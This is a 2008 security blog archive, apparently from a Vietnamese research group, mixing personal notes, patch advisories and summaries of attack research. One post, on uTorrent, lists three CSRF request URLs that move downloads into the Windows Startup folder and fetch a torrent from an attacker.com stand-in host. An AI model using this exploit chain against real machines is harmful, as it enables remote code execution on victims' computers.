people
2008-07-02
Reminiscence of a half year past
A personal note on the half year past. Nothing related to security, so move along.
So, it's been half a year. It's been half a year in turbulence.
On Jan 1st, I was so eager, excited, and hopeful on my flight home. I had a plan, a simple plan, and it was rolling well. You see, what could be easier than finding a job, working for a few years, and then taking a higher degree? I thought this'd gotta be it, that I found my future.
Then it all broke apart. It's funny though, cuz I was afraid of exactly this from the beginning. I could tell it was too good to be true, that everything was like arranged, granted, not earned, and so something got to be missing. I mean, come on, you don't expect to see a perfect world, do you? The problem was it happened too late! I was so into it. I bet on it with everything I had.
I lose my bet. My plan went to trash. I declined a few job offers to open my own consulting firm. I am still not sure why I did that. I might have thought the market demand was high, or it might be cool to do it, or it was just a rebelious action to satisfy my ego. Regardless, I have a firm now. And it is the reason I write this piece.
The firm is doing well according to plan. Before you ask, no, this is not the plan I talked before. This has its share of late night's oil burning, sweats and a few grey hairs. It has ups and downs, cheers and cries. And it is not perfect. It is so much different from going to work at 09:00, coming back at 18:00, having dinner till 20:00, spending a few hours doing god-knows-what in front of the monitor, and finally lying on the floor till tomorrow. It is no longer a pleasant life for me at all.
Thinking about the firm reminds me of all the good times in the island country, where I didn't have to think about anything. I miss the nights we hung out. I miss the trees along the road. I miss the breezy cool wind on the way home. I miss the flat. I miss late night movies/series. I miss the nights I slept on the floor. I miss the morning green bean dessert and bean curd. Life was a pleasure ride in the park. I earned much more than my friends so I didn't have to think twice before spending. I lived in a spacious and windy flat. I owned a motorbike. I had everything I needed. I was contended.
Now, my head is full of questions. What is the next step, how to move forward, who is the next customer, how to approach them, who to partner with, where to find money to do those stuffs... Infrastructure, marketing, human resource, finance, law, etc. all come pouring down on me. These questions don't seem to end at all. Instead, they become more and more challenging, they push me closer and closer to the wall.
Sure I have doubts. Is the market ripe for us? Isn't it better to do business elsewhere? Was coming back just plain wrong? These questions keep whirling wildly. My thoughts are all interwound, messed up.
Fortunately, everytime I think about them, I always come to the same answer: that I can't change what happened, I can only fix them. So that's exactly what I'm doing. I founded a firm, so I've gotta take it high. I failed a plan, so I've gotta work another one.
Though I've lost the eagerness and excitement of the flight that day, I still have hope. When the turbulence is over, we'll have a safe landing on the long runway.
2008-05-30
Sử dụng bộ công cụ SysInternals "live"
Ngay bây giờ bạn đã có thể sử dụng bộ công cụ SysInternals trực tuyến mà không phải cài đặt hoặc giải nén bất kỳ tập tin nào.
Những nhà quản trị đã quá quen thuộc với bộ công cụ của SysInternals như Process Explorer, TcpView, Rootkit Revealer. Các công cụ này đã rất dễ được tải về và sử dụng, giờ đây lại càng dễ hơn nữa. Ví dụ như bạn có thể chạy ngay công cụ Process Explorer mới nhất bằng cách gõ dòng lệnh:
\\live.sysinternals.com\procexp.exe
Quá đơn giản, phải không? Danh sách tất cả các công cụ có thể được xem tại http://live.sysinternals.com.
2008-05-15
Salami attack at Asia Commercial Bank
I went to the bank today to make a small exchange. But the money I got is less than the expected amount.
Sáng nay khoảng 10:00 mình ra ngân hàng ACB ở đường Xuân Hồng, ngay phía sau khu triển lãm Tân Bình để đổi 100 đồng Mỹ ra tiền Việt.
Theo tỉ giá của ngày hôm nay thì mình sẽ nhận được 1,616,300. Trong giấy chi cũng ghi rõ con số này.
Thế nhưng nhân viên ở quầy chỉ đưa mình 1,616,000. Tức là thiếu 300 đồng.
Mình hỏi lại nhân viên đó rằng tại sao lại làm tròn xuống thế này và nhận được câu trả lời là cho dù mình có 499 đồng thì cũng vẫn làm tròn xuống như vậy.
Trước hết, ở những ngân hàng khác mình thường lui tới thì không bao giờ có chuyện làm tròn số như thế này. 1 cent là 1 cent. 100 đồng là 100 đồng. Họ sẽ đưa đủ. Mặc dù mình chưa thấy trường hợp nào họ đưa "dư" :-D nhưng thiếu thì chắc chắn là không.
Thứ hai, không biết là chính sách làm tròn xuống gây thiệt hại cho khách hàng như thế này là của chính nhân viên quầy tự ý vì mục đích riêng, hay là của toàn ngân hàng.
Đây rõ ràng là một ví dụ điển hình và thực tế về "bòn rút" (salami attack) trong lĩnh vực an toàn thông tin. Salami attack là những sự việc nhỏ nhặt nhưng xảy ra trên một quy mô lớn ví dụ như hàng trăm ngàn tài khoản trong ngân hàng bị bòn rút 100 đồng thì kết quả sẽ là một thiệt hại cỡ vài trăm triệu đồng. Đối với từng chủ tài khoản, sự hao hụt 100 đồng này không dễ phát hiện ra cho nên salami attack thường ít khi bị phát hiện.
Dù sao đi nữa thì ACB cũng đã mất đi một khách hàng (cho dù là nhỏ) cho tới khi mình nghe được tin tức khác. Bởi vì đã không làm tròn lên thì chớ có chuyện làm tròn xuống. Câu nói khách hàng là thượng đế ở đâu rồi?
2008-05-14
Vá lỗi cho gói openssl
Lỗi nghiêm trọng trong phần sinh số ngẫu nhiên trong gói ssl của Debian: https://vnsecurity.net/Members/rd/archive/2008/05/13/debian-openssl-package-fix-predictable-random-number-generator đã kéo theo sự ảnh hưởng nghiêm trọng đến hệ thống mã hoá khoá của các distro dựa trên nền Debian. Lỗi này hiện có trong các release mới nhất của Debian và Ubuntu.
* Ubuntu 7.04 (Feisty)
* Ubuntu 7.10 (Gutsy)
* Ubuntu 8.04 LTS (Hardy)
* Ubuntu "Intrepid Ibex" (development): libssl <= 0.9.8g-8
* Debian 4.0 (etch) (see corresponding Debian security advisory)
Debian có cung cấp một script kiểm tra key, nếu status trả về weak tức là hệ thống của bạn có lỗi. Bạn nên update hệ thống ngay lập tức.
http://security.debian.org/project/extra/dowkd/dowkd.pl.gz
http://security.debian.org/project/extra/dowkd/dowkd.pl.gz.asc
Việc kiểm tra này cần phải tính toán lại nên có thể khá lâu, bạn có thể bỏ qua bước này và chỉ cần apt-get update/upgrade mà thôi, hiện các repo đã có đầy đủ các gói cập nhật.
Có người đã gọi sự cố này là ngày "Thảm họa Debian" sau sự kiện năm 2003.
Links:
Linux security
Planet Debian
R2D2 DVD projector and Wireless webcam.
Geek gadgets! For the Star Wars/Electronics Geek. Check the cool intro video!
2008-05-13
SMM rootkit PoC demo at Black Hat 08
Sherri Sparks và Embleton sẽ demo bản SMM (System Management Mode) rootkit tại Black Hat 2008 sắp tới. Đây là loại rootkit sẽ rất khó phát hiện, khó hơn việc phát hiện virtualization rookit do SMM rootkit có thể lock SMRAM lại và khi đó chỉ BIOS mới có thể truy cập SMRAM.
FYI, với kiến trúc x86 thì để thay đổi SMI handler (cho rootkit) chỉ có 2 cách hoặc là patch BIOS hoặc thay đổi trực tiếp từ SMRAM nếu D_LCK bit không được set. Ngoài ra ITP (In-Target Probe) cũng có thể được dùng để thay đổi SMRAM hay debug SMI. Theo thông tin riêng tôi biết từ tác giả của SMM rookit sẽ được trình bày tại BlackHat 08 sắp tới thì họ tận dụng lỗi cũ của chipset được công bố năm 2006 khi không khóa vùng nhớ SMRAM. Duflot đã trình bày việc tận dụng lỗi này để phá lớp bảo vệ của OpenBSD secure levels tại CanSecWest 2006. BSDaemon cũng đã đề cập một phần về chủ đề này tại VNSECON 07 và viết một bài nghiên cứu về việc này trên Phrack Magazine.
Cấu hình của chipset sau này mặc định D_LCK sẽ được bật nên SMRAM sẽ không thể truy cập và thay đổi trừ khi patch lại BIOS. Yuriy của Intel Security Center of Exellence cũng sẽ trình bày tại BlackHat 08 sắp tới một giải pháp để phát hiện virtualization rookit sử dụng bộ vi xử lý riêng nhúng trong MCH (northbridge). Giải pháp này cũng có thể được sử dụng để phát hiện SMM rootkit.
Links:
Debian openssl package fix predictable random number generator
Debian đã công bố khuyến nghị bảo mật và cung cấp bản vá lỗi cho gói openssl của Debian cho lỗi trong phần sinh số ngẫu nhiên (random number generator). Lỗi được vá trong OpenSSL PRNG (pseudo random number generator) là lỗi do một Debian developer chỉnh sửa lại code của OpenSSL khiến cho bộ sinh số ngẫu nhiên này chỉ được "seed" bởi process pid.
Debian developer vào 05/2006 đã chỉnh sửa lại code của OpenSSL sau khi sửa lỗi "uninitialized variable" do valgrind cảnh báo. Tuy nhiên do không hiểu đây là sự cố tình sử dụng biến không được khởi tạo như một yếu tố "ngẫu nhiễn" của OpenSSL developer, Debian developer đã loại bỏ một số đoạn mã trong hàm PRNG khiến cho cho bộ sinh số ngẫu nhiên này chỉ được "seed" bởi process pid từ hệ thống. Điều này dẫn đến thư viện OpenSSL do Debian cung cấp này chỉ sinh ra 32,768 cặp khóa duy nhất từ PRNG, đồng nghĩa với việc độ an toàn của các khóa RSA, DSA, ... chỉ còn là 15 bits.
Các mã khóa được sinh ra từ các gói có sử dụng thư viện OpenSSL bị lỗi này như SSH, OpenVPN, DNSSEC, X.509 certificates đều cần phải được sinh (generate) lại khóa từ đầu.
Đây là một ví dụ điển hình cho việc vì sao các nhà đóng gói phần mềm không nên tự ý chỉnh sửa code của các thư viện, phần mềm nếu không hiểu rõ về nó và nếu có chỉnh sửa thì nên gửi lại bản patch cho nhà phát triển của gói phần mềm đó để kiểm tra và cập nhật.
Links:
2008-05-11
Ksplice: "vá" nhân không cần khởi động lại
Mặc dù các lập trình viên hệ thống nhân linux phản ứng rất tốt trong việc hỗ trợ khắc phục lỗi bảo mật. Tuy nhiên quá trình "vá" nhân vẫn cần phải khởi động lại và đây là điểm "không hay" nếu có những dịch vụ đang trong quá trình xử lý quan trọng hoặc những dịch vụ không được phép ngừng. Các nhà khoa học thuộc Viện Công nghệ Massachusetts đã có giải pháp cho vấn đề này
The kernel developers are generally quite good about responding to security problems. Once a vulnerability in the kernel has been found, a patch comes out in short order; system administrators can then apply the patch (or get a patched kernel from their distributor), reboot the system, and get on with life knowing that the vulnerability has been fixed. It is a system which works pretty well.
One little problem remains, though: rebooting the system is a pain. At a minimum, it requires a few minutes of down time. In many situations, that down time cannot be tolerated. Reboots also disrupt any ongoing work, break existing network connections, and can cause the loss of results from long-running processes. And, most importantly of all, reboots prove traumatic for a certain subset of Linux administrators who prize a long uptime above almost all other things. Administrators currently have to choose between multi-year uptimes and security fixes; anything which frees them from a dilemma of this magnitude can only be welcome.
That "anything" might just be a recently-announced project called ksplice. With ksplice, system administrators can have the best of both worlds: security fixes without unsightly reboots.
An in-depth explanation of how ksplice works can be found in this document [PDF]. In short, ksplice requires as input the source tree for the running kernel and the security patch. It will then build two kernels, one with the patch and one without; the kernels are built with a special set of options which makes it easy to figure out which functions change as a result of the patch. The two kernels will be compared, with the purpose of finding those functions. Changes can propagate further than one might expect, especially if, for example, an inline function is modified.
Once a list of changed functions has been made, the updated code for those functions is packaged into a kernel module and loaded into the system. Then comes the tricky part: getting the running kernel to start using the new code. That requires patching the running code, which is a risky thing to do. Ksplice starts with a call to stop_machine_run(), which dumps a high-priority thread onto each processor, thus taking control of all processors in the system. It then examines all threads in the system to ensure that none of them are running in the functions to be replaced; if so, trampoline jumps are patched into the beginning of each replaced function (they "bounce" the call to the old code into the replacement code) and life continues. Otherwise ksplice will back off and try again later.
This method imposes a number of limitations. One is that only code changes can be patched in with ksplice; patches which make changes to data structures cannot be accommodated. Another comes from the retry-based approach to ensuring that no threads are running in the patched functions; what happens if one of those functions is never free? Kernel functions like schedule(), sys_poll(), or sys_waitid() are likely to always have processes running within them. In cases like this, ksplice will eventually give up and inform the user that the patch cannot be done; it is simply not possible to make changes to those particular functions.
These limitations mean that, out of 50 security patches examined by the ksplice developers, eight could not be applied with ksplice. So multi-year uptimes are probably still incompatible with the application of all security patches. Even so, ksplice certainly has the potential to reduce patch-related downtime considerably. Chances are good that there will be a fair amount of interest in ksplice in sites running high-uptime, mission-critical systems.
There are few things in the way of an immediate merge of this code into the mainline. One is a matter of coding quality and can be fixed. Then, there is the matter of the lead developer being unconvinced that merging this code makes sense since it is, essentially, a standalone feature. Andi Kleen's response made the (usual) reasons for merging the code clear:
So, presumably, the code will eventually be proposed for a mainline merge. But there is one other little difficulty pointed out by Tomasz Chmielewski: Microsoft holds a patent described this way:
Microsoft came up with this novel new technique in the distant past: 2002. The posting immediately brought out a crowd of surprised graybeards who distinctly remember using such techniques on their PDP-11 systems some decades before Microsoft "invented" hot-patching. The basic claim of the patent would thus appear to be invalidated by some decades' worth of prior art, but some of the dependent claims include features (such as capturing all other processors on the system) which were unlikely to be useful on PDP-11s.
Given that the kernel developers are now well aware of this patent, they must take it into account when deciding whether to accept this code into the mainline. It would not be surprising if they chose to avoid baiting the Microsoft FUD machine in this way, even if they all agreed that the patent lacked validity. So a promising technology risks being left out of the kernel as the result of a software patent which was filed at least 30 years too late.
(Source: http://lwn.net/Articles/280058/)
Fun code snippet
This small snippet is copied from a much popular application.
.text:1000EBE0 push ecx ; some_string
.text:1000EBE1 push '%'
.text:1000EBE3 push '%'
.text:1000EBE5 push offset aCsystemdriveCS ; "%cSystemDrive%c%s"
.text:1000EBEA push edx ; buffer
.text:1000EBEB call ds:swprintf
Translated to C:
swprintf(buffer, "%cSystemDrive%c%s", '%', '%', some_string);
Of course you'd be scratching your head to explain why the writer wrote it this way, instead of simply swprintf(buffer, "%%SystemDrive%%%s", some_string);. To show off great C-kungfu? Or the lack thereof? Anyway, I just thought it was funny enough to post.
2008-05-09
Wolfotrack, 3D Firewall GUI
Mấy bạn ác min sẽ rất thích. Visual firewall của bạn mikado thật không thể sánh bằng :D
Wolfotrack is a netfilter connection tracking killer with a 3D GUI based on game Wolfenstein 3D! You simply kill people that are tight to a state updated by the connection tracking. Everytime a door is opened, this table is refreshed. And when the actor is killed, the connection tracking associated is killed as well! Nice!:D
- Youtube demo video: http://www.youtube.com/watch?v=z3zRnHPFPrc
- Project Page: http://software.inl.fr/trac/wiki/Wolfotrack
Google làm phật lòng Trung Quốc
Chính phủ Trung Quốc hiện đang điều tra việc vi phạm luật về bí mật quốc gia của Trung Quốc đối với Google cùng một số dịch vụ tìm kiếm và một số công ty cung cấp ảnh vệ tinh khác.
Các công ty trên bị cáo buộc vi phạm luật về bí mật quốc gia của Trung Quốc do công bố ảnh chụp vệ tinh các cơ sở bí mật, căn cứ quân sự của Trung Quốc.
Trung Quốc cũng phản ứng khó chịu khi các nhà cung cấp dịch vụ bản đồ trực tuyến như Google không ghi rõ Đài Loan là một phần của Trung Quốc mà ngầm ý xem Đài Loan như một quốc gia độc lập. Hiện Trung Quốc điều tra khoảng 10,000 bản đồ trực tuyến "phạm luật" do "vẽ lại biên giới Trung Quốc" với ám chỉ về những khu vực còn tranh chấp như Đài Loan, Hoàng Sa Trường Sa (tranh chấp với Việt Nam và một số nước Đông Nam Á khác) hay đảo Điếu Ngư (Diaoyu - tranh chấp với Nhật Bản).
Một điểm đáng chú ý là theo như bài báo đưa tin thì tuần trước, qua hình ảnh vệ tinh chụp được, người ta phát hiện ra một căn cứ tàu ngầm mới được xây dựng của hải quân Trung Quốc tại đảo Hải Nam, gần khu vực đang tranh chấp là quần đảo Hoàng Sa - Trường Sa với Việt Nam.



Đọc tin chi tiết tại U.K.’s Daily Telegraph.
2008-05-08
Cập nhật thông tin bảo mật
Một số distro như Gentoo, RHEL, Slackware vừa mới thông báo về các bản "vá" lỗi bảo mật trong ngày hôm nay.
Gentoo vừa cập nhật x11 (nhiều lỗi), egroupware (nhiều lỗi) và wireshark (denial of service).
Red Hat Enterprise Linux vừa cập nhật gpdf (denial of service).
Slackware vừa cập nhật php (PATH_TRANSLATED tính toán sai) và thunderbird (nhiều lỗi).
(Nguồn: http://lwn.net/Articles/281473/)
Compromised file in Vietnamese Language Pack for Firefox 2
The Vietnamese language pack for Firefox 2 contains inserted code to load remote content.
This code is the result of a virus infection, but does not contain the virus itself. This usually results in the user seeing unwanted ads, but may be used for more malicious actions.
Everyone who downloaded the most recent Vietnamese language pack since February 18, 2008 got an infected copy. While we cannot determine the exact number of compromised downloads, there have been 16,667 total downloads of the Vietnamese language pack since November 2007, so we anticipate the impact on users to be limited.
Mozilla does virus scans at upload time but the virus scanner did not catch this issue until several months after the upload. We are also adding after-the-fact scans of everything to address this sort of case in the future.
A new language pack will be available shortly. Until then, Vietnamese language pack users should disable this package using the add-ons dialog on the Tools menu.
More information is available in bugzilla: https://bugzilla.mozilla.org/show_bug.cgi?id=432406
2008-05-07
Secret History of TEMPEST
Interesting stories about the history of TEMPEST has been revealed by NSA from a declassified document
Then he noticed something odd.
Far across the lab, a freestanding oscilloscope had developed a habit of spiking every time the teletype encrypted a letter. Upon closer inspection, the spikes could actually be translated into the plain message the machine was processing. Though he likely didn't know it at the time, the engineer had just discovered that all information processing machines send their secrets into the electromagnetic ether.
Call it a TEMPEST in a teletype.
This story of how the United States first learned about the fundamental security vulnerability called "compromising emanations" is revealed for the first time in a newly-declassified 1972 paper TEMPEST: A Signal Problem (.pdf), from the National Security Agency's secret in-house journal Cryptologic Spectrum.
"There has always been speculation about TEMPEST coming out of the Cold War period," says Joel McNamara, author of Secrets of Computer Espionage: Tactics and Countermeasures, who maintained for years the best compilation of public information on TEMPEST. "But the 1943 Bell Labs discovery is roughly ten years earlier than I would have expected."
Links:
- http://www.nsa.gov/public/pdf/tempest.pdf
- http://www.nsa.gov/public/crypt_spectrum.cfm
- http://www.eskimo.com/~joelm/tempest.html
- http://en.wikipedia.org/wiki/TEMPEST
- http://blog.wired.com/27bstroke6/2008/04/nsa-releases-se.html
- http://www.youtube.com/watch?v=B05wPomCjEY
Own a box via CSRF
You get bored of CSRF issues every day? Now this is one is a bit more interesting
Rob Carter has posted a blog on how to pwn a box via a pure CSRF bug of a uTorrent plugin. When a user installs the uTorrent Web UI plugin, the plugin starts a locally running web server on your machine. Basically, his CSRF exploit force uTorrent to move completed downloads to an arbitrary directory on their system, download arbitrary torrents, and completely own their box.
- The first CSRF to turn on the “Move completed downloads” option on the uTorrent Web UI. http://localhost:14774/gui/?action=setsetting&s=dir_completed_download_flag&v=1
- The second CSRF to change the path of where the completed torrent download is placed. For example:
http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\
Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup
- The last CSRF is to force the victim to download a torrent which points to an attacker controlled file. Once the file is downloaded via torrent, uTorrent places the files into startup folder and automatically run the file in the next windows boot.
http://localhost:14774/gui/?action=add-url&s=http://www.attacker.com/file.torrent
2008-04-01
Dịch vụ chứng thực hay dịch vụ làm phiền?
Bất kỳ việc gì sử dụng giấy tờ sao chép đều cần đến con dấu chứng thực ở Ủy ban phường. Nhưng có thật sự là cần thiết hay không?
Mở công ty, mua bán nhà, xin cho con đi học, làm đơn xin học bổng, v.v... đều cần đến bản sao CMND. Và thông thường các bản sao này nhất định phải có con dấu chứng thực của Ủy ban nhân dân phường.
Nhưng liệu việc chứng thực có tác dụng hay không, hay chỉ là hình thức dư thừa (red tape) mà tất cả các quốc gia khác trên thế giới đều đang muốn cắt giảm?
Tôi đem 5 bản sao giấy CMND ra UBND phường xin chứng thực sao y bản chính. Bản sao của tôi là hai mặt CMND trên cùng một mặt giấy khổ A5, cách nhau một khoảng trống vừa đủ để một con dấu chứng thực đè lên cả hai mặt CMND. Nhân viên UBND trả lời rằng sao chép như vậy không đúng quy cách và yêu cầu sử dụng dịch vụ ở ngay tại UBND phường. Họ sao chép 2 mặt CMND trên 2 mặt giấy của cùng một tờ giấy nhỏ. Khi chứng thực, nhân viên UBND phường không hề nhìn tới mặt sau của CMND (nơi ghi rõ dấu hiệu nhận dạng và ngày cấp CMND) cũng như chỉ đóng dấu chứng thực vào một mặt của bản sao!
Câu hỏi được đặt ra là:
- Nếu không kiểm tra giữa bản chính và bản sao, ý nghĩa của việc chứng thực là gì?
- Con dấu chứng thực chỉ đóng ở một mặt, mặt còn lại liệu có còn giá trị chứng thực?
- Tại sao một bản sao mắc phải những lỗi nghiêm trọng ảnh hướng đến tính chính xác của thông tin được cho là đúng quy cách?
Một câu hỏi quan trọng, và tổng quát hơn là tại sao việc chứng thực lại cần thiết? Dù đã có một bản sao chứng thực, mọi người vẫn bắt buộc phải đem bản chính theo để các cơ quan khác kiểm tra lại. Bỏ qua việc họ có kiểm tra lại hay không, vấn đề là với bản chính đem theo đó, các cơ quan khác có thể dễ dàng tạo ra các bản sao ngay lập tức. Việc này vừa loại bỏ đi một phiền hà không đáng có, vừa đảm bảo tính trung thực của thông tin.
Xin lưu ý rằng chúng ta chưa nói đến tính chính xác của thông tin được chứng thực trong bài này.
Tội phạm đánh cắp tiền từ ngân hàng Việt Nam
Vài bọn tội phạm từ các quốc gia khác như Nigeria, Congo đã giả mạo chữ ký để đánh cắp tiền từ các ngân hàng Việt Nam.
Theo báo Sài Gòn Giải Phóng ngày 31 tháng 03 năm 2008, lực lượng công an đã bắt được một vài nhóm tội phạm từ các quốc gia khác giả mạo chữ ký và thẻ tín dụng để mua hàng và đánh cắp tiền từ các ngân hàng Việt Nam.
Theo tin đã đưa thì một nhóm từ Nigeria bị bắt trong khi đang dùng thẻ tín dụng giả để thanh toán tại siêu thị. Rất may là nhân viên siêu thị đã nghi ngờ tên trên thẻ không phải tên của gã nên đã tri hô bảo vệ siêu thị tóm lấy tên tội phạm này.
Tin thứ hai, và là điểm chính của bài này, là một vài nhóm tội phạm khác đã tinh vi hơn. Chúng giả chữ ký thực hiện lệnh chuyển tiền từ một tài khoản ở nước ngoài vào một ngân hàng trong nước vào ngày x. Sau đó, chúng ra ngân hàng rút hết tiền vào ngày x + y. Đến khi ngân hàng nước ngoài phát hiện ra chữ ký giả và thực hiện lệnh hủy việc chuyển tiền thì lúc này đã vào ngày x + y + z.
Có hai câu hỏi đặt ra ở đây:
- Tại sao không có thời gian hãm tài để cả hai phía xác nhận lệnh chuyển tiền là thật?
- Phía nào sẽ chịu trách nhiệm cho sự sai sót này?
2008-02-22
Software based disk encryption not secure enough!
Researchers at Princeton University has released a white paper named "Lest We Remember: Cold Boot Attacks on Encryption Keys" [1] about gaining access to the contents of a computer's RAM after power off and/or reboot and used it to defeat various popular disk encryption systems such as Microsoft's BitLocker, Apple's FileVault, TrueCrypt, dm-crypt.
Contrary to conventional wisdom, "volatile" semiconductor memory does not entirely lose its contents when power is removed. Both static (SRAM) and dynamic (DRAM) memory retains some information on the data stored in it while power was still applied and they still hold values for a long intervals without power or refresh. This is a known [2] problem for a long long time. However, no one has ever tried (or published) any practical attack on this problem like what Princeton University researchers did.
This DRAM threat goes beyond disk encryption. Any kind of sensitive data such as password, encryption key, credit card information,... in you RAM could be stolen in just a few minutes. Due to the nature of this problem, it's hard for software based hard disk encryption solution to protect against this attack. Software based solution would be able to try to encrypt/clear the disk key whenever PC goes into inactive state (i.e screen saver, standby, hibernate) but it's not really practical and/or applicable in some cases. The white paper [1] also offers interesting algorithms & methods to find crypto keys in memory images.
If you're really care about your information, you should better to change your behavior to unmount encrypted disk and/or power-off your machine (for a while to give the memory enough time to decay) whenever you're away from your computer if you're using software based disk encryption and/or to use a hardware based disk encryption solution. It turns out that the hardware based disk encryption technology that I'm working on would be a perfect solution to help to protect against this kind of attack. For a full protection, our solution still need to fix a small problem when the computer goes into S3 (standby mode) but just a minor change. FYI, Seagate also has a hardware based hard disk encryption solution ready to use.
Links:
- Lest We Remember: Cold Boot Attacks on Encryption Keys
- Secure Deletion of Data from Magnetic and Solid-State Memory
GSM Monitoring & A5/1 Cracking
Researchers at a BlackHat security conference in Washington, D.C. this week detailed a method for dramatically reducing the cost and time needed to crack the security that prevents eavesdropping of GSM-based mobile phones.
Hulton & Steve have presented the new fast & cheap method of cracking A5/1 GSM encryption this week at BlackHat DC Security Conference 2008. This is the result of Cracking A5 and GSM scanner project which has been presented at VNSECON 07 by Steve last year.
FYI, GSM monitoring system has always been there for a long time. However, those devices are very expensive (few hundred thousands to millions USD depends on capabilities, number of channels, antenna,...) and only available to government agents.
Links:
- http://blog.washingtonpost.com/securityfix/2008/02/research_may_spell_end_of_mobi.html
- http://www.blackhat.com/html/bh-dc-08/bh-dc-08-speakers.html#Hulton
- http://wiki.thc.org/gsm
- http://wiki.thc.org/cracking_a5
- http://conf.vnsecurity.net/program
2008-02-19
Software expoitation training from lamer
This is a general review of the Software Exploitation course taught by Nam T. Nguyen (lamer at vnsecurity dot net) [1][2]. All reviews and comments were written by a neophyle in this field.
The course lasted 2 days (Feb 16th and 17th, 2008), and, in my opinion, was very interesting. That's the motivation for me to write these from a learner's point of view.
Content of the course:
- Stack/Heap overflow, focusing on stack overflow because of difficulty of Heap overflow with these techniques:
+ Return to libc (ret2libc)
+ Return to pop (ret2pop)
+ Overwrite .got, .dtors ... if the program was compiled with ASLR (Address Space Layout Randomization) support.
- Format string
- Race condition (TOC/TOU - Time of Check/Time of Use)
Requirements:
- 01 laptop with DVD drive
- VMWare player [3] installed
- Basic knowledge of Linux and typical commands
- Basic knowledge of programing
- Basic knowledge of Assembly
The knowledge of Linux and Assembly is not required but learners can learn faster with them.
The learners will also gain the knowledge of using:
- IDA [4]
- gdb [5]
- python [6]
This is the most practical and beneficial course that I have ever attended. I was naturally sucked into the flow of solving problems. These are what I have noticed:
- The course flows from extremely basic information to very advanced
knowledge.
- The learners will develop their skills based on these basic techniques.
- Studying and practicing simultaneously
- Interative learning, the learners must answer many questions throughout the course. This is very useful because the instructor can know whether they "get it".
- The learners must think and solve problems themselves in a logical way based on the knowledge they have just had.
- Analyzing and predicting are two skills used throughout the course.
- The instructor has prepared the course carefully so that every sentence, or idea is valuable.
- The course is the experience of the instructor so it is very short but it fully covers all information that would require hundreds of pages to explain.
- This is the first time I could read and understand the flow chart of one program based entirely on its ASM code; then, exploit it.
Conclusion
I highly appreciate this course because of its outstanding quality. The experience and skill of the instructor make me believe in what I have learned. If there's any advanced course from lamer, I'll attend.
References
[1] VNSecurity - a non-profit research organization dedicated to network and
system security. Their team has won the CTF2007’s first prize at HITB2007
Malaysia. VNSec was found and led by Thanh Nguyen (rd at vnsecurify dot net).
[2] Nam T. Nguyễn (Security+, CISSP) – a member of
vnsecurity.net
[3] VMWare Player – a software to run a virtual machine. See more at www.vmware.com/products/player/
[4] IDA – a powerful disassembler. See more at www.hex-rays.com/idapro
[5] GDB – GNU debugger. See more at www.sourceware.org/gdb/
[6] Python – a powerful programming language. See more at www.python.org. There’s
a website for Vietnamese who loves Python at www.vithon.org.
This site was found and led by Nam T. Nguyễn.